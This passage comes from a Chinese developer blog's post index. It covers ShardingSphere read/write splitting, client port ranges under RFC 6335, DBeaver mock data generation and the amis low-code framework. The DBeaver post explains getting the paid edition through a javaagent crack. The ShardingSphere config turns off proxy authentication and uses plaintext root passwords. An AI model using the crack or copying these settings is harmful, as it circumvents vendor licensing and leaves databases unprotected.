mysql-connector-java-5.1.47.jar（https://repo1.maven.org/maven2/mysql/mysql-connector-java/5.1.47/mysql-connector-java-5.1.47.jar），并将其放入 %SHARDINGSPHERE_PROXY_HOME%/lib 目录\n修改配置文件 ShardingSphere-Proxy 支持多逻辑数据源，每个以 config- 前缀命名的 YAML 配置文件，即为一个逻辑数据源，比如默认文件 config-database-discovery.yaml ShardingSphere-Proxy 默认使用 3307 端口，可以通过启动脚本追加参数作为启动端口号。如：bin/start.sh 3308 ShardingSphere-Proxy 使用 conf/server.yaml 配置注册中心、认证信息以及公用属性。 先来添加并修改 config-myapp.yaml 文件（注意扩展名要写 yaml，写 yml 不能识别）\n1 2schemaName: my-app 3 4dataSources: 5 write_ds: 6 url: jdbc:mysql://mysql.local.test.myapp.com:23306/test?allowPublicKeyRetrieval=true\u0026amp;useSSL=false\u0026amp;allowMultiQueries=true\u0026amp;serverTimezone=Asia/Shanghai\u0026amp;useSSL=false\u0026amp;autoReconnect=true\u0026amp;useUnicode=true\u0026amp;characterEncoding=utf-8\u0026amp;zeroDateTimeBehavior=convertToNull 7 username: root 8 password: nicai 9 connectionTimeoutMilliseconds: 3000 10 idleTimeoutMilliseconds: 60000 11 maxLifetimeMilliseconds: 1800000 12 maxPoolSize: 50 13 minPoolSize: 1 14 maintenanceIntervalMilliseconds: 30000 15 read_ds_0: 16 url: jdbc:mysql://mysql.local.test.read1.myapp.com:23306/test?allowPublicKeyRetrieval=true\u0026amp;useSSL=false\u0026amp;allowMultiQueries=true\u0026amp;serverTimezone=Asia/Shanghai\u0026amp;useSSL=false\u0026amp;autoReconnect=true\u0026amp;useUnicode=true\u0026amp;characterEncoding=utf-8\u0026amp;zeroDateTimeBehavior=convertToNull 17 username: root 18 password: nicai 19 connectionTimeoutMilliseconds: 3000 20 idleTimeoutMilliseconds: 60000 21 maxLifetimeMilliseconds: 1800000 22 maxPoolSize: 50 23 minPoolSize: 1 24 maintenanceIntervalMilliseconds: 30000 25 26rules: 27- !READWRITE_SPLITTING # 配置读写分离规则 28 dataSources: 29 pr_ds: # 读写分离的逻辑数据源名称 `pr_ds` 用于在数据分片中使用 30 writeDataSourceName: write_ds #写库数据源名称 31 readDataSourceNames: #读库数据源名称 32 - read_ds_0 33 loadBalancerName: roundRobin # 负载均衡算法名称 34 # 负载均衡算法配置 35 loadBalancers: 36 roundRobin: 37 type: ROUND_ROBIN # 一共两种一种是 RANDOM（随机），一种是 ROUND_ROBIN（轮询） 如上配置我只添加了一个主库一个只读从库，而数据库之间的主从同步过程由于不是重点本文就省略了，具体我这边比较简单直接用的云创建的只读实例，也就是说主从实例同步让云帮我实现了，当然你也可以用原生的方法，通过 mysql 的 master-salve 等配置来实现。\nserver.yaml 文件修改如下：\n1rules: 2 - !AUTHORITY 3 users: 4 - root@%:root 5 - sharding@:sharding 6 provider: 7 type: ALL_PRIVILEGES_PERMITTED 8 9props: 10 max-connections-size-per-query: 1 11 executor-size: 16 # Infinite by default. 12 proxy-frontend-flush-threshold: 128 # The default value is 128. 13 # LOCAL: Proxy will run with LOCAL transaction. 14 # XA: Proxy will run with XA transaction. 15 # BASE: Proxy will run with B.A.S.E transaction. 16 proxy-transaction-type: LOCAL 17 xa-transaction-manager-type: Atomikos 18 proxy-opentracing-enabled: false 19 proxy-hint-enabled: false 20 sql-show: true 21 check-table-metadata-enabled: false 22 lock-wait-timeout-milliseconds: 50000 # The maximum time to wait for a lock 启动 1 在 bin 目录下 执行 start.sh 启动 ShardingSphere\n2 用任意 mysql 客户端连接数据库，就像连接一个往常的数据库一样\n地址：127.0.0.1 端口：3307 账号：root/root 数据库 my-app （这里就用到上面配置的逻辑数据库名了） 3 查看库表中的数据，应该跟主、从库中的一致。\n这里我遇到了一个小问题，就是 select 数据的时候用 库名.表名不行，直接写表名可以。\njava 应用程序修改配置 1spring: 2 profiles: 3 include: common-local 4 datasource: 5 url: jdbc:mysql://127.0.0.1:3307/my-app?allowPublicKeyRetrieval=true\u0026amp;useSSL=false\u0026amp;allowMultiQueries=true\u0026amp;serverTimezone=Asia/Shanghai\u0026amp;useSSL=false\u0026amp;autoReconnect=true\u0026amp;useUnicode=true\u0026amp;characterEncoding=utf-8\u0026amp;zeroDateTimeBehavior=convertToNull 6 username: root 7 password: root 由于采用 proxy 模式，对应用几乎无感，不需要修改代码，只需要修改数据库部分配置文件。\n测试 在我测试读写分离时，读库的请求情况：\n证明读请求都打到读库上了。\n遇到过的问题 1 启动报错，需要配置 server.yaml 第一次启动的时候没配置\n2 启动报错：The MySQL server is running with the --read-only option so it cannot execute this statement我的从库是设置的只读库，但不知道为什么会报错，没有解决，再次启动就好了。\n3 启动成功后，用客户端，无法连接 sharding-proxy 数据库，连接异常报错，解决方法是修改了 server.yaml 文件\n1rules: 2 - !AUTHORITY 3 users: 4 - root@%:root 5 - sharding@:sharding 6 provider: 7 type: ALL_PRIVILEGES_PERMITTED 将 provider 的 type 从之前的 NATIVE 修改为了 ALL_PRIVILEGES_PERMITTED （默认授予所有权限（不鉴权），不会与实际数据库数据库交互。）\n参考：\nhttps://shardingsphere.apache.org/document/5.0.0-beta/cn/overview/ ","date":"2021-09-16T00:06:00Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2021-09-16-shardingsphere-shi-zhan-zhi-du-xie-fen-li/cover.jpg","permalink":"/p/2021-09-16-shardingsphere-shi-zhan-zhi-du-xie-fen-li/","title":"ShardingSphere 实战之读写分离"},{"content":"我们知道服务器端是要指定和开放端口号的，比如 web 服务 http 请求的 80，https 的 443 端口，都要开放，否则无法请求成功。\n我们知道通信是由两端组成的，既然服务器需要指定端口，那么客户端呢？\n比方说我用 chrome 浏览器请求 www.baidu.com, 我知道对于百度的服务器肯定开放了 80、443 端口，那么浏览器呢，或者说我的电脑本机用于请求的端口是什么呢？\n带着疑问我用 Wireshark 抓包看了一下\n可以看到我的浏览器请求 源端口是 62412 ，目标端口是 443。\n443 我知道，62412 又是为什么？\n不知道，于是想了想 TCP 的连接和请求过程，参考这篇文章：\n探究！一个数据包在网络中的心路历程\n如文章所说：\n“\nTCP 协议里面会有两个端口，一个是浏览器监听的端口（通常是随机生成的），一个是 Web 服务器监听的端口（HTTP 默认端口号是 80， HTTPS 默认端口号是 443）。\n”\n浏览器端口随机生成？嗯，可以，但理论依据是什么？谁规定的？怎么规定的，怎么个随机法，不可能乱生成对吧。带着疑问，查到了资料。\nhttps://www.rfc-editor.org/rfc/rfc6335.html 这是 RFC 的其中一份文档 。\n解释下 RFC（来自维基百科）\n“\n请求意见稿（英语：Request for Comments，缩写：RFC），又翻译作意见征求，意见请求，请求评论是由互联网工程任务组（IETF）发布的一系列备忘录。文件收集了有关互联网相关信息，以及 UNIX 和互联网社群的软件文件，以编号排定。目前 RFC 文件是由互联网协会（ISOC）赞助发行。\nRFC 始于 1969 年，由当时就读加州大学洛杉矶分校（UCLA）的斯蒂芬·克罗克（Stephen D. Crocker）用来记录有关 ARPANET 开发的非正式文档，他是第一份 RFC 文档的撰写者。最终演变为用来记录互联网规范、协议、过程等的标准文件。基本的互联网通信协议都有在 RFC 文件内详细说明。RFC 文件还额外加入许多的论题在标准内，例如对于互联网新开发的协议及发展中所有的记录。\n”\nRFC-6335 比较长，我们看其中重要的一段\n总结一下 所有的端口被划分为三个数字范围\n系统端口，也称为众所周知的端口，从 0 到 1023（由 IANA 分配） “\n互联网号码分配局（英语：Internet Assigned Numbers Authority，缩写 IANA），是一家互联网地址指派机构，管理国际互联网中使用的 IP 地址、域名和许多其它参数的机构。IP 地址、自治系统成员以及许多顶级和二级域名分配的日常职责由国际互联网注册中心（IR）和地区注册中心承担。IANA 是由 ICANN 管理的。\n”\n用户端口，也称为注册端口，从 1024-49151（由 IANA 分配） 动态端口，也称为私有或临时端口，从 49152-65535（从未分配） 在可分配的端口范围（系统端口和用户端口，即端口号 0-49151）中，单个端口号在任何给定时间处于以下三种状态之一：\n已分配：已分配的端口号当前已分配给注册表中指示的服务。 未分配：当前可根据请求分配未分配的端口号。 保留：保留端口号不可用于常规分配；它们被“分配给 IANA”用于特殊目的。保留端口号包括每个范围边缘的值，例如 0、1023、1024 等，可用于扩展这些范围或将来的整体端口号空间。 对于动态端口（Dynamic Ports），范围从 49152 到 65535，这些端口号一般不固定分配给某个服务，也就是说许多服务都可以使用这些端口。只要运行的程序向系统提出访问网络的申请，那么系统就可以从这些端口号中分配一个供该程序使用。比如 49152 端口就是分配给第一个向系统发出申请的程序。在关闭程序进程后，就会释放所占用的端口号。\n这样就解决了我的疑问，确实客户端也是要有明确的端口号分配的，具体讲比如浏览器它的端口看上去也是随机分配的，而分配范围是在“动态端口”范围，这个依据可以在 RFC-6335 中查到。\n参考 https://www.rfc-editor.org/rfc/rfc6335.html ","date":"2021-09-15T03:44:01Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2021-09-15-ke-hu-duan-qing-qiu-de-duan-kou-hao-shi-shen-me/cover.jpg","permalink":"/p/2021-09-15-ke-hu-duan-qing-qiu-de-duan-kou-hao-shi-shen-me/","title":"客户端请求的端口号是什么？"},{"content":"背景 在我们的日常开发中，一般建好一个数据库表后，需要再插入一些测试数据用来测试。\n一般情况下是手写 insert SQL 语句，或者用个单元测试用例跑个程序，总之是比较麻烦。\n其实我们的需求很简单，就是能生成测试数据就行了，当然最好能规范点儿，省得生成好了还得再改。\n之前使用过的很多数据库客户端都有生成 SQL，DDL，DML 但不能帮我批量生成测试数据。\n直到发现了 DBeaver，它的企业版有这个功能！\nDBeaver DBeaver 是一个功能非常完善的数据库客户端，它有\n开源免费版本：https://github.com/dbeaver/dbeaver， 企业版：https://dbeaver.com/ 安装 由于企业版是收费的，所以要想办法 “安装” 它，可以参考：https://juejin.cn/post/6953133069465780232\n“安装” 的重点有下面几个\n安装 jdk 11 编译得到 jre 1cd bin/ 2./jlink --module-path jmods --add-modules java.desktop --output jre 修改配置文件（下面是我本地 mac 电脑的） 1-startup 2../Eclipse/plugins/org.eclipse.equinox.launcher_1.6.100.v20201223-0822.jar 3--launcher.library 4../Eclipse/plugins/org.eclipse.equinox.launcher.cocoa.macosx.x86_64_1.2.100.v20210209-1541 5-vm 6/Library/Java/JavaVirtualMachines/adoptopenjdk-11.jdk/Contents/Home/bin 7 8-vmargs 9-XX:+IgnoreUnrecognizedVMOptions 10--add-modules=ALL-SYSTEM 11-Dosgi.requiredJavaVersion=11 12-Xms128m 13-Xmx2048m 14-XstartOnFirstThread 15-javaagent:/Users/leo/soft/dbeaver-agent/dbeaver-agent.jar 接下来就可以打开软件了\n生成 Mock 数据库 建好表后，找到表右击打开如下\n点击 “Generate Mock Data”, 可以设置你需要的数据条数\n甚至可以修改每一个字段的 Mock 的规则\n一路确定后，数据就生成了，非常规范，非常快\n参考 https://juejin.cn/post/6953133069465780232 ","date":"2021-09-13T09:38:28Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2021-09-13-zai-ye-bu-xu-yao-shou-xie-sql-zao-shu-ju-le/cover.jpg","permalink":"/p/2021-09-13-zai-ye-bu-xu-yao-shou-xie-sql-zao-shu-ju-le/","title":"再也不需要手写 SQL 造数据了"},{"content":"背景 什么是低代码开发？ “\n所谓低代码开发，即无需编码或只需少量代码就可以快速生成应用程序。也就是说，企业的应用开发通过“拖拉拽”的方式即可完成。\n”\n低代码平台有哪些？ 我知道的知名的比如有：\n阿里的宜搭 腾讯的微搭 百度的爱速搭 当然对于企业版都是收费的，阿里的宜搭依托于钉钉生态发展的挺好，据消息称字节也正在内部灰度自己的低代码平台，依托于飞书也应该会有比较广泛的应用。\n我对低代码怎么看？ 最近低代码的概念很火，对于业内的人来说，可能感觉就像：技术还是那个技术，新瓶装旧酒，又换了个包装再卖一次一样。\n一直以来我都认为低代码是个伪命题，因为它只能针对非定制化或者说非常标准化的功能才有意义，才能够发挥它的价值，但真正的企业内部的需求多数又是定制化非常高的业务，否则每个公司就不用自己招人建团队了，都是标准化的，全部包出去或者随便找几个人做就好了，何必花大钱在技术投入上呢。\n直到现在我也是这样认为，可能是因为 lowcode 的概念被很多厂商和公司二次包装的不像样子，有点儿偏了，忽悠不懂行的，宣传的多了，懂行的有些反感，像我就是这样，所以忽视了它本身中立的价值立场。具体来说就是，事物的存在是有它的合理性，那么站在这个角度冷静地思考下，低代码结合我们真实的应用场景到底有没有价值呢？具体来讲是对于一个已有技术团队的公司有什么价值。\n在企业内部所有的业务系统自然不在低代码的应用范围，而如果你的团队小，假设是个创业公司，没有那么多人的情况下，像 CRM、OA 这种需求，在像飞书、钉钉这种 IM 中有各种 ISV 提供各种应用，一般情况下也能轻松解决。\n但随着团队规模越来越大，岗位分工越来越垂直和精细，就会有越来越多企业内不同领域的需求出现，需要系统来解决，比如：\n运维团队需要开发自己的运维系统 DBA 团队需要开发 SQL 上线审核系统 业务团队需要自己的运营系统，甚至会分拆成不同的子系统 IT 需要系统维护公司的设备信息 \u0026hellip;\u0026hellip; 而以上所有这些需要的系统需求很大程度上是不能被现有的应用功能（飞书、钉钉）完全满足的，所以需要开发实现，但它们是有相同点的：\n这些系统多数都是类似 MIS 的信息管理系统 功能上相似化程度高 也都有一定的定制化功能场景 实现上都需要前、后端开发，人员成本高 总结来说就是：在同质化功能基础上又有部分定制化需求的系统。\n又因为是在企业内部，所以又有两个隐含的需求：\n成本要低 要安全（私有化部署） 现在市面上的 lowcode/nocode 平台提供云端应用和私有化部署，但无论如何是收费的。对于企业来说，最好是有一个免费又能够部署在自己服务器上（安全）且用起来比较灵活能够满足绝大多数需求的一个平台。\n有这样的东西吗？\n没有\n那么我们来拆解一下这个需求：\n1 免费\n花钱能解决的问题都不叫做问题，然而问题是老板不愿意花钱，另外，就算我们愿意掏钱也不一定能解决应用灵活开发的问题，使用人家的东西就要按照人家的逻辑玩儿，你不能既用着 word, 还要求它有个 wps 的新功能。所以免费是个刚需，当然我说的免费只是软件成本，不是说这事儿完全不需要花一分钱成本，私有化部署也要占用服务器资源的。\n2 安全\n跟第一点有联系，既然不花钱就肯定部署在自己这儿了，那当然安全了\n3 灵活开发应用\n我们再细拆解一下，现在的应用开发一般都是前后端分离的。\n先说前端，作为后台的系统，至少需要前端页面来展示，那么就需要有前端开发来做，或者后端自己做。我们都知道团队的前端资源一般都很紧张，业务系统都开发不完，哪有时间帮兄弟团队搞东搞西的，很多情况下都是各团队自已 solo 全栈，虽然都是程序员，但毕竟术业有专攻，那开发出来的页面就五花八门了，且不说好不好看，这个事儿对于开发同学的成本就很高，而且各做各的，有很多重复开发。\n再说后端，以 java 技术栈为例，后端这边已经有很多的框架和工具可以帮助我们快速的建立一个应用，比如 springboot, 也可以快速的完成 CRUD，比如 springboot+mybatisplus。对于一个熟手来说，写几个 CRUD 接口还是比较快的。另外，要说 lowcode, 一些自动生成代码的工具也可以帮我们在一定程序上实现后端 lowcode, 常见如各种 code generator\n还有契约，前后端联调 API 最好有个工具，无论是 swagger, 还是 yapi 这种工具能够提高效率，最好是用 yapi 这种能够 mock 数据的，那么就可以在契约+mock 出的数据的基础上实现并行开发。\n通过上面的分析，我得出的结论是：\n后端可以最大限度地灵活开发自定义功能和逻辑部分 后端对于通用功能的开发成本也不高 前端开发成本高，且复用率低 前端学习成本不低，大家的水平参差不齐 前端维护成本高，新技术和版本更新较快 看来问题主要集中在前端，如果有个工具能够拥有以下特点就好了\n不需要什么学习成本，最好都不用懂前端框架 能够通过 UI 进行简单配置就可以组合出各种功能 对后端的接口调用简单配置就能实现功能 不用管各依赖的升级更新，维护成本低 那么有吗？有！\namis amis 是什么？ “\namis 是一个百度开源的低代码前端框架，它使用 JSON 配置来生成页面，可以减少页面开发工作量，极大提升效率。\n”\n有时候其实只想做个普通的增删改查界面，用于信息管理，类似下面这种\n但仔细观察会发现它有大量细节功能 比如：\n可以对数据做筛选 有按钮可以刷新数据 编辑单行数据 批量修改和删除 查询某列 按某列排序 隐藏某列 开启整页内容拖拽排序 表格有分页（页数还能同步到地址栏） 有数据汇总 支持导出 Excel 表头有提示文字 鼠标移动到「平台」那列的内容时还有放大镜符号，可以展开查看更多 全部实现这些需要大量的代码。\namis 的初衷是：对于大部分常用页面，应该使用最简单的方法来实现，甚至不需要学习前端框架和工具。\namis 的亮点 提供完整的界面解决方案：其它 UI 框架必须使用 JavaScript 来组装业务逻辑，而 amis 只需 JSON 配置就能完成完整功能开发，包括数据获取、表单提交及验证等功能，做出来的页面不需要经过二次开发就能直接上线； 大量内置组件（100+），一站式解决：其它 UI 框架大部分都只有最通用的组件，如果遇到一些稍微不常用的组件就得自己找第三方，而这些第三方组件往往在展现和交互上不一致，整合起来效果不好，而 amis 则内置大量组件，包括了富文本编辑器、代码编辑器、diff、条件组合、实时日志等业务组件，绝大部分中后台页面开发只需要了解 amis 就足够了； 支持扩展：除了低代码模式，还可以通过 自定义组件 来扩充组件，实际上 amis 可以当成普通 UI 库来使用，实现 90% 低代码，10% 代码开发的混合模式，既提升了效率，又不失灵活性； 容器支持无限级嵌套：可以通过嵌套来满足各种布局及展现需求； 经历了长时间的实战考验：amis 在百度内部得到了广泛使用，在 5 年多的时间里创建了 3.8 万页面，从内容审核到机器管理，从数据分析到模型训练，amis 满足了各种各样的页面需求，最复杂的页面有超过 1 万行 JSON 配置。 上手 amis 从官网得知 amis 有两种使用方法\nJS SDK，可以用在任意页面中 React，可以用在 React 项目中 SDK 版本适合对前端或 React 不了解的开发者，它不依赖 npm 及 webpack，可以像 Vue/jQuery 那样外链代码就能使用。\n我们选择的是更通用的 JS SDK\n搭建 demo 首先创建一个工程目录，比如 amis-demo, 创建 css、js、public、index.html 等目录和文件\n然后运行 npm i amis 下载 sdk, 在 node_modules\\amis\\sdk 目录里就能找到\n项目目录结构大概是这样\n然后编辑 index.html\n1\u0026lt;!DOCTYPE html\u0026gt; 2\u0026lt;html lang=\u0026#34;zh\u0026#34;\u0026gt; 3 \u0026lt;head\u0026gt; 4 \u0026lt;meta charset=\u0026#34;UTF-8\u0026#34; /\u0026gt; 5 \u0026lt;title\u0026gt;amis demo\u0026lt;/title\u0026gt; 6 \u0026lt;meta http-equiv=\u0026#34;Content-Type\u0026#34; content=\u0026#34;text/html; charset=utf-8\u0026#34; /\u0026gt; 7 \u0026lt;meta 8 name=\u0026#34;viewport\u0026#34; 9 content=\u0026#34;width=device-width, initial-scale=1, maximum-scale=1\u0026#34; 10 /\u0026gt; 11 \u0026lt;meta http-equiv=\u0026#34;X-UA-Compatible\u0026#34; content=\u0026#34;IE=Edge\u0026#34; /\u0026gt; 12 \u0026lt;link rel=\u0026#34;stylesheet\u0026#34; href=\u0026#34;sdk.css\u0026#34; /\u0026gt; 13 \u0026lt;link rel=\u0026#34;stylesheet\u0026#34; href=\u0026#34;helper.css\u0026#34; /\u0026gt; 14 \u0026lt;!-- 从 1.1.0 开始 sdk.css 将不支持 IE 11，如果要支持 IE11 请引用这个 css，并把前面那个删了 --\u0026gt; 15 \u0026lt;!-- \u0026lt;link rel=\u0026#34;stylesheet\u0026#34; href=\u0026#34;sdk-ie11.css\u0026#34; /\u0026gt; --\u0026gt; 16 \u0026lt;!-- 不过 amis 开发团队几乎没测试过 IE 11 下的效果，所以可能有细节功能用不了，如果发现请报 issue --\u0026gt; 17 \u0026lt;style\u0026gt; 18 html, 19 body, 20 .app-wrapper { 21 position: relative; 22 width: 100%; 23 height: 100%; 24 margin: 0; 25 padding: 0; 26 } 27 \u0026lt;/style\u0026gt; 28 \u0026lt;/head\u0026gt; 29 \u0026lt;body\u0026gt; 30 \u0026lt;div id=\u0026#34;root\u0026#34; class=\u0026#34;app-wrapper\u0026#34;\u0026gt;\u0026lt;/div\u0026gt; 31 \u0026lt;script src=\u0026#34;sdk.js\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; 32 \u0026lt;script type=\u0026#34;text/javascript\u0026#34;\u0026gt; 33 (function () { 34 let amis = amisRequire(\u0026#39;amis/embed\u0026#39;); 35 // 通过替换下面这个配置来生成不同页面 36 let amisJSON = { 37 type: \u0026#39;page\u0026#39;, 38 title: \u0026#39;表单页面\u0026#39;, 39 body: { 40 type: \u0026#39;form\u0026#39;, 41 mode: \u0026#39;horizontal\u0026#39;, 42 api: \u0026#39;/saveForm\u0026#39;, 43 body: [ 44 { 45 label: \u0026#39;Name\u0026#39;, 46 type: \u0026#39;input-text\u0026#39;, 47 name: \u0026#39;name\u0026#39; 48 }, 49 { 50 label: \u0026#39;Email\u0026#39;, 51 type: \u0026#39;input-email\u0026#39;, 52 name: \u0026#39;email\u0026#39; 53 } 54 ] 55 } 56 }; 57 let amisScoped = amis.embed(\u0026#39;#root\u0026#39;, amisJSON); 58 })(); 59 \u0026lt;/script\u0026gt; 60 \u0026lt;/body\u0026gt; 61\u0026lt;/html 以上是根据官方文档写的，运行会报错，要解决两个问题\n1 引入的 js 和 css 路径要写成自己的，所以我从 node_modules 找到我需要的文件 copy 到自己对应的 css 和 js 目录，所以我的引用代码类似这样\n1 \u0026lt;link rel=\u0026#34;stylesheet\u0026#34; href=\u0026#34;css/sdk.css\u0026#34; /\u0026gt; 2 \u0026lt;link rel=\u0026#34;stylesheet\u0026#34; href=\u0026#34;css/cxd.css\u0026#34; /\u0026gt; 3 \u0026lt;link rel=\u0026#34;stylesheet\u0026#34; href=\u0026#34;css/antd.css\u0026#34; /\u0026gt; 4 \u0026lt;link rel=\u0026#34;stylesheet\u0026#34; href=\u0026#34;css/helper.css\u0026#34; /\u0026gt; 5 \u0026lt;script src=\u0026#34;https://cdn.jsdelivr.net/npm/vue@2\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; 6 \u0026lt;script src=\u0026#34;https://cdn.jsdelivr.net/npm/history/umd/history.js\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; 2 会报 Cannot read property 'locale' of undefined\n解决方法是\n先给 amis.embed() 的第四个参数传入一个空对象，例如：\n1 let amisScoped = amis.embed( 2 \u0026#39;#root\u0026#39;, 3 amisJSON, 4 { 5 // 这里是初始 props 6 }, 7 {} // 空对象 8 9 ); 为了方便调试我用的 IDE 是 VSCode，安装了 vscode 插件 Live Server，然后右键点击 Open with Live Server 即可在浏览器实时预览页面\n接下来就可以根据文档的描述一个个的边写代码边调试体验所有的功能了。\n接着你就会发现，原来主要需要开发的是 json, 要是能自动生成 json 就好了。\n这个可以有～\n不用自己编辑 json，通过编辑器直接拖拽组件自动生成，目前 amis-editor 未开源，但可以免费使用（包括商用）\n地址：https://aisuda.github.io/amis-editor-demo/# github 地址：https://github.com/aisuda/amis-editor-demo 为了让页面有个框架（菜单），从 https://github.com/aisuda/amis-admin 项目参考（抄）了部分代码，让页面有个一个基本的架构，大概是这样：\n我们将每个子页面的具体 json 放到了pages目录，所以子页面 json 编辑就从pages里找到对应的 json 文件就可以了。\n比如，这个demo.json\n1{ 2 \u0026#34;type\u0026#34;: \u0026#34;page\u0026#34;, 3 \u0026#34;title\u0026#34;: \u0026#34;demo 示例页面\u0026#34;, 4 \u0026#34;body\u0026#34;: [ 5 { 6 \u0026#34;type\u0026#34;: \u0026#34;tpl\u0026#34;, 7 \u0026#34;tpl\u0026#34;: \u0026#34;这是你刚刚新增的页面。\u0026#34;, 8 \u0026#34;inline\u0026#34;: false 9 }, 10 { 11 \u0026#34;type\u0026#34;: \u0026#34;chart\u0026#34;, 12 \u0026#34;config\u0026#34;: { 13 \u0026#34;xAxis\u0026#34;: { 14 \u0026#34;type\u0026#34;: \u0026#34;category\u0026#34;, 15 \u0026#34;data\u0026#34;: [ 16 \u0026#34;Mon\u0026#34;, 17 \u0026#34;Tue\u0026#34;, 18 \u0026#34;Wed\u0026#34;, 19 \u0026#34;Thu\u0026#34;, 20 \u0026#34;Fri\u0026#34;, 21 \u0026#34;Sat\u0026#34;, 22 \u0026#34;Sun\u0026#34; 23 ] 24 }, 25 \u0026#34;yAxis\u0026#34;: { 26 \u0026#34;type\u0026#34;: \u0026#34;value\u0026#34; 27 }, 28 \u0026#34;series\u0026#34;: [ 29 { 30 \u0026#34;data\u0026#34;: [ 31 820, 32 932, 33 901, 34 934, 35 1290, 36 1330, 37 1320 38 ], 39 \u0026#34;type\u0026#34;: \u0026#34;line\u0026#34; 40 } 41 ] 42 }, 43 \u0026#34;replaceChartOption\u0026#34;: true, 44 \u0026#34;api\u0026#34;: \u0026#34;\u0026#34; 45 }, 46 { 47 \u0026#34;type\u0026#34;: \u0026#34;tabs\u0026#34;, 48 \u0026#34;tabs\u0026#34;: [ 49 { 50 \u0026#34;title\u0026#34;: \u0026#34;tab1\u0026#34;, 51 \u0026#34;body\u0026#34;: [ 52 { 53 \u0026#34;type\u0026#34;: \u0026#34;tpl\u0026#34;, 54 \u0026#34;tpl\u0026#34;: \u0026#34;第一个选项卡\u0026#34;, 55 \u0026#34;inline\u0026#34;: false 56 }, 57 { 58 \u0026#34;type\u0026#34;: \u0026#34;list-select\u0026#34;, 59 \u0026#34;label\u0026#34;: \u0026#34;列表\u0026#34;, 60 \u0026#34;name\u0026#34;: \u0026#34;list\u0026#34;, 61 \u0026#34;options\u0026#34;: [ 62 { 63 \u0026#34;label\u0026#34;: \u0026#34;选项 A\u0026#34;, 64 \u0026#34;value\u0026#34;: \u0026#34;A\u0026#34; 65 }, 66 { 67 \u0026#34;label\u0026#34;: \u0026#34;选项 B\u0026#34;, 68 \u0026#34;value\u0026#34;: 0 69 }, 70 { 71 \u0026#34;label\u0026#34;: \u0026#34;options3\u0026#34;, 72 \u0026#34;value\u0026#34;: true 73 } 74 ] 75 } 76 ] 77 }, 78 { 79 \u0026#34;title\u0026#34;: \u0026#34;tab2\u0026#34;, 80 \u0026#34;body\u0026#34;: [ 81 { 82 \u0026#34;type\u0026#34;: \u0026#34;tpl\u0026#34;, 83 \u0026#34;tpl\u0026#34;: \u0026#34;这是必有项\u0026#34;, 84 \u0026#34;inline\u0026#34;: false 85 }, 86 { 87 \u0026#34;type\u0026#34;: \u0026#34;input-text\u0026#34;, 88 \u0026#34;label\u0026#34;: \u0026#34;文本\u0026#34;, 89 \u0026#34;name\u0026#34;: \u0026#34;text\u0026#34; 90 } 91 ] 92 } 93 ], 94 \u0026#34;tabsMode\u0026#34;: \u0026#34;chrome\u0026#34; 95 }, 96 { 97 \u0026#34;type\u0026#34;: \u0026#34;matrix-checkboxes\u0026#34;, 98 \u0026#34;name\u0026#34;: \u0026#34;matrix\u0026#34;, 99 \u0026#34;label\u0026#34;: \u0026#34;矩阵开关\u0026#34;, 100 \u0026#34;rowLabel\u0026#34;: \u0026#34;行标题说明\u0026#34;, 101 \u0026#34;columns\u0026#34;: [ 102 { 103 \u0026#34;label\u0026#34;: \u0026#34;列 1\u0026#34; 104 }, 105 { 106 \u0026#34;label\u0026#34;: \u0026#34;列 2\u0026#34; 107 } 108 ], 109 \u0026#34;rows\u0026#34;: [ 110 { 111 \u0026#34;label\u0026#34;: \u0026#34;行 1\u0026#34; 112 }, 113 { 114 \u0026#34;label\u0026#34;: \u0026#34;行 2\u0026#34; 115 } 116 ] 117 }, 118 { 119 \u0026#34;type\u0026#34;: \u0026#34;steps\u0026#34;, 120 \u0026#34;value\u0026#34;: \u0026#34;3\u0026#34;, 121 \u0026#34;steps\u0026#34;: [ 122 { 123 \u0026#34;title\u0026#34;: \u0026#34;第一步\u0026#34;, 124 \u0026#34;subTitle\u0026#34;: \u0026#34;副标题\u0026#34;, 125 \u0026#34;description\u0026#34;: \u0026#34;描述\u0026#34; 126 }, 127 { 128 \u0026#34;title\u0026#34;: \u0026#34;第二步\u0026#34; 129 }, 130 { 131 \u0026#34;title\u0026#34;: \u0026#34;第三步\u0026#34; 132 }, 133 { 134 \u0026#34;type\u0026#34;: \u0026#34;wrapper\u0026#34;, 135 \u0026#34;body\u0026#34;: \u0026#34;子节点内容\u0026#34;, 136 \u0026#34;title\u0026#34;: \u0026#34;第四步\u0026#34; 137 } 138 ], 139 \u0026#34;status\u0026#34;: \u0026#34;wait\u0026#34;, 140 \u0026#34;source\u0026#34;: \u0026#34;\u0026#34; 141 }, 142 { 143 \u0026#34;type\u0026#34;: \u0026#34;crud\u0026#34;, 144 \u0026#34;api\u0026#34;: { 145 \u0026#34;method\u0026#34;: \u0026#34;get\u0026#34;, 146 \u0026#34;url\u0026#34;: \u0026#34;https://yapi.gaolvzongheng.com/mock/387/list\u0026#34;, 147 \u0026#34;replaceData\u0026#34;: false, 148 \u0026#34;responseData\u0026#34;: null, 149 \u0026#34;dataType\u0026#34;: \u0026#34;json\u0026#34;, 150 \u0026#34;responseType\u0026#34;: \u0026#34;blob\u0026#34;, 151 \u0026#34;data\u0026#34;: null 152 }, 153 \u0026#34;bulkActions\u0026#34;: [ 154 { 155 \u0026#34;type\u0026#34;: \u0026#34;button\u0026#34;, 156 \u0026#34;level\u0026#34;: \u0026#34;danger\u0026#34;, 157 \u0026#34;label\u0026#34;: \u0026#34;批量删除\u0026#34;, 158 \u0026#34;actionType\u0026#34;: \u0026#34;ajax\u0026#34;, 159 \u0026#34;confirmText\u0026#34;: \u0026#34;确定要删除？\u0026#34;, 160 \u0026#34;api\u0026#34;: \u0026#34;get:/xxx/batch-delete\u0026#34; 161 }, 162 { 163 \u0026#34;type\u0026#34;: \u0026#34;button\u0026#34;, 164 \u0026#34;level\u0026#34;: \u0026#34;danger\u0026#34;, 165 \u0026#34;label\u0026#34;: \u0026#34;批量编辑\u0026#34;, 166 \u0026#34;actionType\u0026#34;: \u0026#34;dialog\u0026#34;, 167 \u0026#34;dialog\u0026#34;: { 168 \u0026#34;title\u0026#34;: \u0026#34;批量编辑\u0026#34;, 169 \u0026#34;size\u0026#34;: \u0026#34;md\u0026#34;, 170 \u0026#34;body\u0026#34;: { 171 \u0026#34;type\u0026#34;: 